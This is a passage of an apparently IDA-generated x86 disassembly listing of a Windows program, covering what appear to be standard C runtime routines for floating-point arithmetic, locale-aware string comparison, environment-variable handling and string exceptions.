xor eax, eax
cmp [esi+4], eax
jnz short loc_41A406
cmp [esi], eax
jnz short loc_41A406
jmp loc_41A573
; ---------------------------------------------------------------------------
loc_41A404: ; CODE XREF: sub_41A379+71j
; sub_41A379+79j
xor eax, eax
loc_41A406: ; CODE XREF: sub_41A379+80j
; sub_41A379+84j
cmp cx, ax
jnz short loc_41A429
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_41A429
cmp [ebx+4], eax
jnz short loc_41A429
cmp [ebx], eax
jnz short loc_41A429
loc_41A41C: ; CODE XREF: sub_41A379+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_41A594
; ---------------------------------------------------------------------------
loc_41A429: ; CODE XREF: sub_41A379+90j
; sub_41A379+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_41A439: ; CODE XREF: sub_41A379+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_41A48D
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_41A455: ; CODE XREF: sub_41A379+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_41973F
add esp, 0Ch
test eax, eax
jz short loc_41A480
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_41A480: ; CODE XREF: sub_41A379+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_41A455
loc_41A48D: ; CODE XREF: sub_41A379+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_41A439
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_41A4D0
loc_41A4AB: ; CODE XREF: sub_41A379+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_41A4C9
lea eax, [ebp+var_24]
push eax
call sub_4197BE
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_41A4AB
loc_41A4C9: ; CODE XREF: sub_41A379+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_41A509
loc_41A4D0: ; CODE XREF: sub_41A379+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_41A509
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_41A4E9: ; CODE XREF: sub_41A379+184j
test byte ptr [ebp+var_24], 1
jz short loc_41A4F2
inc [ebp+var_14]
loc_41A4F2: ; CODE XREF: sub_41A379+174j
lea eax, [ebp+var_24]
push eax
call sub_4197EC
dec ebx
pop ecx
jnz short loc_41A4E9
cmp [ebp+var_14], 0
jz short loc_41A509
or byte ptr [ebp+var_24], 1
loc_41A509: ; CODE XREF: sub_41A379+155j
; sub_41A379+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_41A520
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_41A555
loc_41A520: ; CODE XREF: sub_41A379+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_41A552
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_41A54D
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_41A547
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_41A555
; ---------------------------------------------------------------------------
loc_41A547: ; CODE XREF: sub_41A379+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_41A555
; ---------------------------------------------------------------------------
loc_41A54D: ; CODE XREF: sub_41A379+1B5j
inc [ebp+var_20+2]
jmp short loc_41A555
; ---------------------------------------------------------------------------
loc_41A552: ; CODE XREF: sub_41A379+1ABj
inc [ebp+var_24+2]
loc_41A555: ; CODE XREF: sub_41A379+1A5j
; sub_41A379+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_41A579
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_41A573: ; CODE XREF: sub_41A379+86j
mov [esi+0Ah], ax
jmp short loc_41A594
; ---------------------------------------------------------------------------
loc_41A579: ; CODE XREF: sub_41A379+42j
; sub_41A379+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_41A594: ; CODE XREF: sub_41A379+ABj
; sub_41A379+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_41A379 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A599 proc near ; CODE XREF: sub_4198E0+440p
; sub_419DB1+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_42EC60
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_41A612
jge short loc_41A5C1
mov eax, [ebp+arg_4]
mov ebx, offset dword_42EDC0
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_41A5C1: ; CODE XREF: sub_41A599+16j
cmp [ebp+arg_8], ecx
jnz short loc_41A5CC
mov eax, [ebp+arg_0]
mov [eax], cx
loc_41A5CC: ; CODE XREF: sub_41A599+2Bj
cmp [ebp+arg_4], ecx
jz short loc_41A612
push esi
push edi
loc_41A5D3: ; CODE XREF: sub_41A599+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_41A60B
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_41A5FE
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_41A5FE: ; CODE XREF: sub_41A599+57j
push esi
push [ebp+arg_0]
call sub_41A379
pop ecx
pop ecx
xor ecx, ecx
loc_41A60B: ; CODE XREF: sub_41A599+49j
cmp [ebp+arg_4], ecx
jnz short loc_41A5D3
pop edi
pop esi
loc_41A612: ; CODE XREF: sub_41A599+14j
; sub_41A599+36j
pop ebx
leave
retn
sub_41A599 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A615 proc near ; CODE XREF: sub_41A1B6+5Ep
; sub_41AB3C+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_41A622
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41A622: ; CODE XREF: sub_41A615+7j
push ds:dword_460C64
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_0]
push 1
push ds:dword_460E84
call loc_41A738
add esp, 1Ch
test eax, eax
jnz short loc_41A64F
mov eax, 7FFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41A64F: ; CODE XREF: sub_41A615+31j
add eax, 0FFFFFFFEh
pop ebp
retn
sub_41A615 endp
; =============== S U B R O U T I N E =======================================
sub_41A654 proc near ; CODE XREF: sub_41A1B6+1Ep
; sub_41A9B5+5Bp
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, ds:dword_45F874
push edi
xor edi, edi
mov eax, [esi]
cmp eax, edi
jz short loc_41A6B5
mov ebx, ds:dword_41C11C
loc_41A66D: ; CODE XREF: sub_41A654+5Fj
push edi
push edi
push edi
push edi
push 0FFFFFFFFh
push eax
push edi
push 1
call ebx ; WideCharToMultiByte
mov ebp, eax
cmp ebp, edi
jz short loc_41A6BD
push ebp
call sub_410C0F
cmp eax, edi
pop ecx
mov [esp+14h+var_4], eax
jz short loc_41A6BD
push edi
push edi
push ebp
push eax
push 0FFFFFFFFh
push dword ptr [esi]
push edi
push 1
call ebx ; WideCharToMultiByte
test eax, eax
jz short loc_41A6BD
push edi
push [esp+18h+var_4]
call sub_41A9B5
mov eax, [esi+4]
add esi, 4
pop ecx
cmp eax, edi
pop ecx
jnz short loc_41A66D
loc_41A6B5: ; CODE XREF: sub_41A654+11j
xor eax, eax
loc_41A6B7: ; CODE XREF: sub_41A654+6Cj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41A6BD: ; CODE XREF: sub_41A654+29j
; sub_41A654+38j ...
or eax, 0FFFFFFFFh
jmp short loc_41A6B7
sub_41A654 endp
; =============== S U B R O U T I N E =======================================
sub_41A6C2 proc near ; CODE XREF: seg000:0041A2BEp
; seg000:0041A30Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, ds:dword_460C60
jnb short loc_41A729
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, ds:dword_460B60[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_41A729
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_41A702
and cl, 7Fh
jmp short loc_41A70F
; ---------------------------------------------------------------------------
loc_41A702: ; CODE XREF: sub_41A6C2+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_41A71D
or cl, 80h
loc_41A70F: ; CODE XREF: sub_41A6C2+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41A71D: ; CODE XREF: sub_41A6C2+48j
mov ds:dword_45F844, 16h
jmp short loc_41A733
; ---------------------------------------------------------------------------
loc_41A729: ; CODE XREF: sub_41A6C2+Bj
; sub_41A6C2+27j
mov ds:dword_45F844, 9
loc_41A733: ; CODE XREF: sub_41A6C2+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_41A6C2 endp
; ---------------------------------------------------------------------------
loc_41A738: ; CODE XREF: sub_41A615+27p
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41CC00
push offset sub_417B48
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp-18h], esp
xor ebx, ebx
cmp ds:dword_45FB2C, ebx
push 1
pop edi
jnz short loc_41A7AB
push edi
mov eax, offset dword_41C850
push eax
push edi
push eax
push ebx
push ebx
call ds:dword_41C008 ; CompareStringW
test eax, eax
jz short loc_41A788
mov ds:dword_45FB2C, edi
jmp short loc_41A7AB
; ---------------------------------------------------------------------------
loc_41A788: ; CODE XREF: seg000:0041A77Ej
push edi
mov eax, offset dword_42F3E4
push eax
push edi
push eax
push ebx
push ebx
call ds:dword_41C00C ; CompareStringA
test eax, eax
jz loc_41A9A1
mov ds:dword_45FB2C, 2
loc_41A7AB: ; CODE XREF: seg000:0041A769j
; seg000:0041A786j
mov esi, [ebp+14h]
cmp esi, ebx
jle short loc_41A7C2
push esi
push dword ptr [ebp+10h]
call sub_416DB8
pop ecx
pop ecx
mov esi, eax
mov [ebp+14h], esi
loc_41A7C2: ; CODE XREF: seg000:0041A7B0j
cmp [ebp+1Ch], ebx
jle short loc_41A7D7
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
call sub_416DB8 ; CODE XREF: seg000:0041A847j
pop ecx
pop ecx
mov [ebp+1Ch], eax
loc_41A7D7: ; CODE XREF: seg000:0041A7C5j
mov eax, ds:dword_45FB2C
cmp eax, 2
jnz short loc_41A7FC
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push esi
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call ds:dword_41C00C ; CompareStringA
jmp loc_41A9A3
; ---------------------------------------------------------------------------
loc_41A7FC: ; CODE XREF: seg000:0041A7DFj
cmp eax, edi
jnz loc_41A9A1
cmp [ebp+20h], ebx
jnz short loc_41A811
mov eax, ds:dword_45F8E0
mov [ebp+20h], eax
loc_41A811: ; CODE XREF: seg000:0041A807j
cmp esi, ebx
jz short loc_41A81E
cmp [ebp+1Ch], ebx
jnz loc_41A8B6
loc_41A81E: ; CODE XREF: seg000:0041A813j
cmp esi, [ebp+1Ch]
jnz short loc_41A82B
loc_41A823: ; CODE XREF: seg000:0041A874j
; seg000:0041A8A5j
push 2
loc_41A825: ; CODE XREF: seg000:0041A87Ej
pop eax
jmp loc_41A9A3
; ---------------------------------------------------------------------------
loc_41A82B: ; CODE XREF: seg000:0041A821j
cmp [ebp+1Ch], edi
jle short loc_41A837
loc_41A830: ; CODE XREF: seg000:0041A889j
; seg000:0041A891j ...
mov eax, edi
jmp loc_41A9A3
; ---------------------------------------------------------------------------
loc_41A837: ; CODE XREF: seg000:0041A82Ej
cmp esi, edi
jg short loc_41A87C
lea eax, [ebp-3Ch]
push eax
push dword ptr [ebp+20h]
call near ptr 3E0000h
jl short near ptr loc_41A7CD+1
ror byte ptr [edi], 84h
push ecx
add [eax], eax
add [ebx], bh
rep jle short loc_41A880
cmp dword ptr [ebp-3Ch], 2
jb short loc_41A87C
lea eax, [ebp-36h]
cmp [ebp-36h], bl
jz short loc_41A87C
loc_41A862: ; CODE XREF: seg000:0041A87Aj
mov dl, [eax+1]
cmp dl, bl
jz short loc_41A87C
mov ecx, [ebp+10h]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_41A876
cmp cl, dl
jbe short loc_41A823
loc_41A876: ; CODE XREF: seg000:0041A870j
inc eax
inc eax
cmp [eax], bl
jnz short loc_41A862
loc_41A87C: ; CODE XREF: seg000:0041A839j
; seg000:0041A858j ...
push 3
jmp short loc_41A825
; ---------------------------------------------------------------------------
loc_41A880: ; CODE XREF: seg000:0041A851j
cmp [ebp+1Ch], ebx
jle short loc_41A8B6
cmp dword ptr [ebp-3Ch], 2
jb short loc_41A830
lea eax, [ebp-36h]
cmp [ebp-36h], bl
jz short loc_41A830
loc_41A893: ; CODE XREF: seg000:0041A8AFj
mov dl, [eax+1]
cmp dl, bl
jz short loc_41A830
mov ecx, [ebp+18h]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_41A8AB
cmp cl, dl
jbe loc_41A823
loc_41A8AB: ; CODE XREF: seg000:0041A8A1j
inc eax
inc eax
cmp [eax], bl
jnz short loc_41A893
jmp loc_41A830
; ---------------------------------------------------------------------------
loc_41A8B6: ; CODE XREF: seg000:0041A818j
; seg000:0041A883j
push ebx
push ebx
push esi
push dword ptr [ebp+10h]
push 9
push dword ptr [ebp+20h]
call ds:dword_41C120 ; MultiByteToWideChar
mov [ebp-1Ch], eax
cmp eax, ebx
jz loc_41A9A1
mov [ebp-4], ebx
add eax, eax
add eax, 3
and al, 0FCh
call sub_410BE0
mov [ebp-18h], esp
mov eax, esp
mov [ebp-24h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_41A905
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
xor ebx, ebx
mov [ebp-24h], ebx
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp+14h]
push 1
pop edi
loc_41A905: ; CODE XREF: seg000:0041A8EDj
cmp [ebp-24h], ebx
jz loc_41A9A1
push dword ptr [ebp-1Ch]
push dword ptr [ebp-24h]
push esi
push dword ptr [ebp+10h]
push edi
push dword ptr [ebp+20h]
mov esi, ds:dword_41C120
call esi ; MultiByteToWideChar
test eax, eax
jz short loc_41A9A1
push ebx
push ebx
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push 9
push dword ptr [ebp+20h]
call esi ; MultiByteToWideChar
mov esi, eax
mov [ebp-20h], esi
cmp esi, ebx
jz short loc_41A9A1
mov [ebp-4], edi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_410BE0
mov [ebp-18h], esp
mov edi, esp
mov [ebp-28h], edi
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_41A970
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
xor ebx, ebx
xor edi, edi
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-20h]
loc_41A970: ; CODE XREF: seg000:0041A95Cj
cmp edi, ebx
jz short loc_41A9A1
push esi
push edi
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push 1
push dword ptr [ebp+20h]
call ds:dword_41C120 ; MultiByteToWideChar
test eax, eax
jz short loc_41A9A1
push esi
push edi
push dword ptr [ebp-1Ch]
push dword ptr [ebp-24h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call ds:dword_41C008 ; CompareStringW
jmp short loc_41A9A3
; ---------------------------------------------------------------------------
loc_41A9A1: ; CODE XREF: seg000:0041A79Bj
; seg000:0041A7FEj ...
xor eax, eax
loc_41A9A3: ; CODE XREF: seg000:0041A7F7j
; seg000:0041A826j ...
lea esp, [ebp-4Ch]
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A9B5 proc near ; CODE XREF: sub_41A654+50p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], edi
jz short loc_41AA19
push 3Dh
push [ebp+arg_0]
call sub_41ABFB
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
mov [ebp+var_8], esi
jz short loc_41AA19
cmp [ebp+arg_0], esi
jz short loc_41AA19
mov eax, ds:dword_45F86C
xor ebx, ebx
cmp [esi+1], bl
setz bl
cmp eax, ds:dword_45F870
jnz short loc_41A9FF
push eax
call sub_41AB94
pop ecx
mov ds:dword_45F86C, eax
loc_41A9FF: ; CODE XREF: sub_41A9B5+3Cj
cmp eax, edi
jnz short loc_41AA57
cmp [ebp+arg_4], edi
jz short loc_41AA21
cmp ds:dword_45F874, edi
jz short loc_41AA21
call sub_41A654
test eax, eax
jz short loc_41AA57
loc_41AA19: ; CODE XREF: sub_41A9B5+Dj
; sub_41A9B5+22j ...
or eax, 0FFFFFFFFh
loc_41AA1C: ; CODE XREF: sub_41A9B5+182j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41AA21: ; CODE XREF: sub_41A9B5+51j
; sub_41A9B5+59j
cmp ebx, edi
jnz loc_41AB35
push 4
call sub_410C0F
cmp eax, edi
pop ecx
mov ds:dword_45F86C, eax
jz short loc_41AA19
mov [eax], edi
cmp ds:dword_45F874, edi
jnz short loc_41AA57
push 4
call sub_410C0F
cmp eax, edi
pop ecx
mov ds:dword_45F874, eax
jz short loc_41AA19
mov [eax], edi
loc_41AA57: ; CODE XREF: sub_41A9B5+4Cj
; sub_41A9B5+62j ...
sub esi, [ebp+arg_0]
mov edi, ds:dword_45F86C
mov [ebp+var_4], edi
push esi
push [ebp+arg_0]
call sub_41AB3C
mov esi, eax
pop ecx
test esi, esi
pop ecx
jl short loc_41AAB7
cmp dword ptr [edi], 0
jz short loc_41AAB7
test ebx, ebx
jz short loc_41AAAF
push dword ptr [edi+esi*4]
lea edi, [edi+esi*4]
call sub_410C83
pop ecx
loc_41AA89: ; CODE XREF: sub_41A9B5+E2j
cmp dword ptr [edi], 0
jz short loc_41AA99
mov eax, [edi+4]
inc esi
mov [edi], eax
add edi, 4
jmp short loc_41AA89
; ---------------------------------------------------------------------------
loc_41AA99: ; CODE XREF: sub_41A9B5+D7j
mov eax, esi
shl eax, 2
push eax
push [ebp+var_4]
call sub_41237F
pop ecx
test eax, eax
pop ecx
jz short loc_41AAE9
jmp short loc_41AAE4
; ---------------------------------------------------------------------------
loc_41AAAF: ; CODE XREF: sub_41A9B5+C6j
mov eax, [ebp+arg_0]
mov [edi+esi*4], eax
jmp short loc_41AAE9
; ---------------------------------------------------------------------------
loc_41AAB7: ; CODE XREF: sub_41A9B5+BDj
; sub_41A9B5+C2j
test ebx, ebx
jnz short loc_41AB35
test esi, esi
jge short loc_41AAC1
neg esi
loc_41AAC1: ; CODE XREF: sub_41A9B5+108j
lea eax, ds:8[esi*4]
push eax
push edi
call sub_41237F
pop ecx
test eax, eax
pop ecx
jz loc_41AA19
mov ecx, [ebp+arg_0]
mov [eax+esi*4], ecx
and dword ptr [eax+esi*4+4], 0
loc_41AAE4: ; CODE XREF: sub_41A9B5+F8j
mov ds:dword_45F86C, eax
loc_41AAE9: ; CODE XREF: sub_41A9B5+F6j
; sub_41A9B5+100j
cmp [ebp+arg_4], 0
jz short loc_41AB35
push [ebp+arg_0]
call sub_410B60
inc eax
inc eax
push eax
call sub_410C0F
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_41AB35
push [ebp+arg_0]
push esi
call sub_411B70
mov eax, esi
pop ecx
sub eax, [ebp+arg_0]
pop ecx
add eax, [ebp+var_8]
and byte ptr [eax], 0
inc eax
neg ebx
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
push esi
call near ptr 3E0000h
pop ss
push esi
call sub_410C83
pop ecx
loc_41AB35: ; CODE XREF: sub_41A9B5+6Ej
; sub_41A9B5+104j ...
xor eax, eax
jmp loc_41AA1C
sub_41A9B5 endp
; =============== S U B R O U T I N E =======================================
sub_41AB3C proc near ; CODE XREF: sub_41A9B5+B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ds:dword_45F86C
push edi
mov eax, [esi]
test eax, eax
jz short loc_41AB77
mov edi, [esp+8+arg_4]
loc_41AB4E: ; CODE XREF: sub_41AB3C+39j
push edi
push eax
push [esp+10h+arg_0]
call sub_41A615
add esp, 0Ch
test eax, eax
jnz short loc_41AB6D
mov eax, [esi]
mov al, [eax+edi]
cmp al, 3Dh
jz short loc_41AB87
test al, al
jz short loc_41AB87
loc_41AB6D: ; CODE XREF: sub_41AB3C+22j
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz short loc_41AB4E
loc_41AB77: ; CODE XREF: sub_41AB3C+Cj
mov eax, esi
sub eax, ds:dword_45F86C
sar eax, 2
neg eax
loc_41AB84: ; CODE XREF: sub_41AB3C+56j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41AB87: ; CODE XREF: sub_41AB3C+2Bj
; sub_41AB3C+2Fj
mov eax, esi
sub eax, ds:dword_45F86C
sar eax, 2
jmp short loc_41AB84
sub_41AB3C endp
; =============== S U B R O U T I N E =======================================
sub_41AB94 proc near ; CODE XREF: sub_41A9B5+3Fp
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor ecx, ecx
test edi, edi
jnz short loc_41ABA3
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_41ABA3: ; CODE XREF: sub_41AB94+9j
cmp dword ptr [edi], 0
lea eax, [edi+4]
jz short loc_41ABB5
loc_41ABAB: ; CODE XREF: sub_41AB94+1Fj
mov edx, [eax]
inc ecx
add eax, 4
test edx, edx
jnz short loc_41ABAB
loc_41ABB5: ; CODE XREF: sub_41AB94+15j
push ebx
push ebp
lea eax, ds:4[ecx*4]
push esi
push eax
call sub_410C0F
mov esi, eax
pop ecx
test esi, esi
mov ebp, esi
jnz short loc_41ABD6
push 9
call sub_412ADE
pop ecx
loc_41ABD6: ; CODE XREF: sub_41AB94+38j
mov eax, [edi]
mov ebx, edi
loc_41ABDA: ; CODE XREF: sub_41AB94+5Bj
test eax, eax
jz short loc_41ABF1
push eax
add ebx, 4
call sub_41AC6E
mov [esi], eax
mov eax, [ebx]
pop ecx
add esi, 4
jmp short loc_41ABDA
; ---------------------------------------------------------------------------
loc_41ABF1: ; CODE XREF: sub_41AB94+48j
and dword ptr [esi], 0
mov eax, ebp
pop esi
pop ebp
pop ebx
pop edi
retn
sub_41AB94 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ABFB proc near ; CODE XREF: sub_41A9B5+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp ds:dword_460C7C, 0
jnz short loc_41AC16
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412760
pop ecx
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41AC16: ; CODE XREF: sub_41ABFB+Aj
mov ecx, [ebp+arg_0]
loc_41AC19: ; CODE XREF: sub_41ABFB+56j
movzx ax, byte ptr [ecx]
test ax, ax
jz short loc_41AC5C
movzx edx, al
test ds:byte_460D81[edx], 4
jz short loc_41AC48
mov dl, [ecx+1]
inc ecx
test dl, dl
jz short loc_41AC53
movzx eax, ax
movzx edx, dl
shl eax, 8
or eax, edx
cmp [ebp+arg_4], eax
jz short loc_41AC57
jmp short loc_41AC50
; ---------------------------------------------------------------------------
loc_41AC48: ; CODE XREF: sub_41ABFB+31j
movzx edx, ax
cmp [ebp+arg_4], edx
jz short loc_41AC5C
loc_41AC50: ; CODE XREF: sub_41ABFB+4Bj
inc ecx
jmp short loc_41AC19
; ---------------------------------------------------------------------------
loc_41AC53: ; CODE XREF: sub_41ABFB+39j
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41AC57: ; CODE XREF: sub_41ABFB+49j
lea eax, [ecx-1]
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41AC5C: ; CODE XREF: sub_41ABFB+25j
; sub_41ABFB+53j
movzx edx, ax
mov eax, [ebp+arg_4]
sub eax, edx
neg eax
sbb eax, eax
not eax
and eax, ecx
pop ebp
retn
sub_41ABFB endp
; =============== S U B R O U T I N E =======================================
sub_41AC6E proc near ; CODE XREF: sub_406C6E+21p
; sub_41AB94+4Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_41AC95
push esi
call sub_410B60
inc eax
push eax
call sub_410C0F
pop ecx
test eax, eax
pop ecx
jz short loc_41AC95
push esi
push eax
call sub_411B70
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41AC95: ; CODE XREF: sub_41AC6E+7j
; sub_41AC6E+1Aj
xor eax, eax
pop esi
retn
sub_41AC6E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41ACA0 proc near ; CODE XREF: sub_402DA4+15p
; sub_402DFD+15p ...
mov eax, offset loc_41B194
call sub_4112A0
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_402FA7
mov esi, offset aStringTooLong ; "string too long"
push esi
call sub_410B60
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_402FE3
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_41ACFA
lea eax, [ebp-3Ch]
push offset dword_41CF60
push eax
mov dword ptr [ebp-3Ch], offset off_41CC1C
call sub_41B0FB
pop esi
sub_41ACA0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41ACFA proc near ; CODE XREF: sub_41ACA0+3Fp
; sub_41AECC+3Fp
mov eax, offset loc_41B1A8
call sub_4112A0
push ecx
push ecx
push ebx
push esi
lea eax, [ebp-10h]
push edi
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_42F3E8
call sub_41B020
mov ebx, [ebp+8]
and dword ptr [ebp-4], 0
lea edi, [esi+0Ch]
push 0
mov al, [ebx]
mov ecx, edi
mov [edi], al
call sub_402FA7
push ds:dword_41C228
mov ecx, edi
push 0
push ebx
call sub_402E54
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_41CC3C
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_41ACFA endp
; =============== S U B R O U T I N E =======================================
sub_41AD5E proc near ; DATA XREF: seg001:0041CC20o
; seg001:0041CC40o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_41AD6A
mov eax, offset dword_41C238
locret_41AD6A: ; CODE XREF: sub_41AD5E+5j
retn
sub_41AD5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AD6B proc near ; DATA XREF: seg001:0041CC44o
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_41ADE1
lea eax, [ebp+var_1C]
push offset dword_41CFD0
push eax
call sub_41B0FB
sub_41AD6B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41AD88 proc near ; CODE XREF: seg000:0041ADC8p
; DATA XREF: seg001:0041CFD4o
mov eax, offset loc_41B1BC
call sub_4112A0
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_41CC3C
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_402FA7
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_41B0A7
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_41AD88 endp
; ---------------------------------------------------------------------------
loc_41ADC5: ; DATA XREF: seg001:off_41CC3Co
push esi
mov esi, ecx
call sub_41AD88
test byte ptr [esp+8], 1
jz short loc_41ADDB
push esi
call sub_4112BF
pop ecx
